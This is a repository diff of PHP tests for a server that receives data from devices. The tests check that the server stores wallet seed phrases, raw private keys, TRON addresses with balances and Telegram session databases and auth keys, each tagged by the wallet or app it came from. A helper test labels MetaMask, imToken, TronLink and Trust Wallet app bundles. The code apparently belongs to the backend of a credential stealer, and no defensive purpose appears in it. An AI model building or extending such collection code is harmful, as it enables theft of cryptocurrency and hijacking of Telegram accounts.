])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('TronLink', $row->source);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function us_ingests_private_key_without_result_wrapper(): void
|
||||
{
|
||||
$this->xxbbPost('/us', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'f',
|
||||
'privateKey' => '0x'.str_repeat('ab', 32),
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('BitKeep', $row->source);
|
||||
$this->assertStringStartsWith('0x', $row->mnemonic);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ub_ingests_global_wallet_ad_map(): void
|
||||
{
|
||||
Http::fake(['*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
$this->xxbbPost('/ub', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'p',
|
||||
'ad' => [
|
||||
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704',
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$addr = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
||||
->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('Global Wallet', $addr->source);
|
||||
$this->assertSame('TRON', $addr->chain_type);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function api_tg_t_ingests_telegram_auth(): void
|
||||
{
|
||||
$this->xxbbPost('/api/tg/t', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'd1' => '00008030-000C30D83CD0402E',
|
||||
'd2' => 'FFXD5S8FPLJM',
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'a' => 'tg',
|
||||
'user_id' => '123456789',
|
||||
'state' => ['records' => [['id' => 1]]],
|
||||
'db_sqlite' => base64_encode('not-a-real-sqlite'),
|
||||
'datacenterAuthInfoById' => 'AQID',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($ks);
|
||||
$this->assertSame('123456789', $ks->raw_json['user_id'] ?? null);
|
||||
$this->assertSame('Telegram', $ks->raw_json['source'] ?? null);
|
||||
$this->assertArrayHasKey('db_sqlite', $ks->raw_json);
|
||||
$this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Support\WalletSource;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class WalletSourceTest extends TestCase
|
||||
{
|
||||
#[Test]
|
||||
public function plugin_wallet_bundles_match_mnemonic_plugins_only(): void
|
||||
{
|
||||
$this->assertTrue(WalletSource::isPluginWalletBundle('io.metamask.MetaMask'));
|
||||
$this->assertTrue(WalletSource::isPluginWalletBundle('im.token.app'));
|
||||
$this->assertTrue(WalletSource::isPluginWalletBundle('com.tronlink.hdwallet'));
|
||||
$this->assertFalse(WalletSource::isPluginWalletBundle('ph.telegra.Telegraph'));
|
||||
$this->assertFalse(WalletSource::isPluginWalletBundle('com.apple.mobilesafari'));
|
||||
$this->assertFalse(WalletSource::isPluginWalletBundle(''));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function bundle_labels_collapse_aliases(): void
|
||||
{
|
||||
$this->assertSame('MetaMask', WalletSource::labelForBundle('io.metamask.MetaMask'));
|
||||
$this->assertSame('MetaMask', WalletSource::labelForBundle('io.metamask', 'MM'));
|
||||
$this->assertSame('Trust Wallet', WalletSource::labelForBundle('com.sixdays.trust'));
|
||||
$this->assertSame('Safari', WalletSource::labelForBundle('com.apple.mobilesafari', 'Safari'));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user